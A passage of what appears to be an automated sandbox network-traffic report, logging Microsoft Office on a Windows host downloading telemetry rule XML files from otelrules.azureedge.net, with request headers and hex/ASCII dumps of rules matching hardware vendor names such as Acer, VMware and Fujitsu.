R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: cb795b0b-301e-001f-35c7-2aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020420Z-159b85dff8fq4v8mhC1DFW70kw000000018g00000000ga3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:20 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020420Z-16849878b78qf2gleqhwczd21s000000094g000000004svb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 647ea265-801e-0067-10e5-29fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020421Z-159b85dff8fhxqdbhC1DFW5pzn000000015g000000006hab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 8b96f0ab-501e-008c-5135-2acd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020421Z-17c5cb586f62vrfquq10qybcuw00000001wg0000000073bd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:21 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020421Z-16849878b786fl7gm2qg4r5y7000000009700000000053c1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 0427b385-801e-0048-0995-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020422Z-17c5cb586f6z6tq2xr35mhd5x000000001dg00000000eemm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020422Z-16849878b78p49s6zkwt11bbkn00000008dg00000000utqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:23 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 134a0630-601e-0084-685d-2a6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020423Z-17c5cb586f6f8m6jnehy0z65x4000000085g00000000c9es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5fd3a61a-e01e-0071-0feb-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020423Z-16849878b785jrf8dn0d2rczaw0000000a0000000000kcx9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:23 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020423Z-16849878b78bcpfn2qf7sm6hsn0000000aeg00000000ftvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020423Z-16849878b786lft2mu9uftf3y40000000a1000000000stbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:24 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:23 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: ebbbec6e-b01e-0021-1c83-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020423Z-17c5cb586f6fqqst87nqkbsx1c00000007ag00000000cw8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
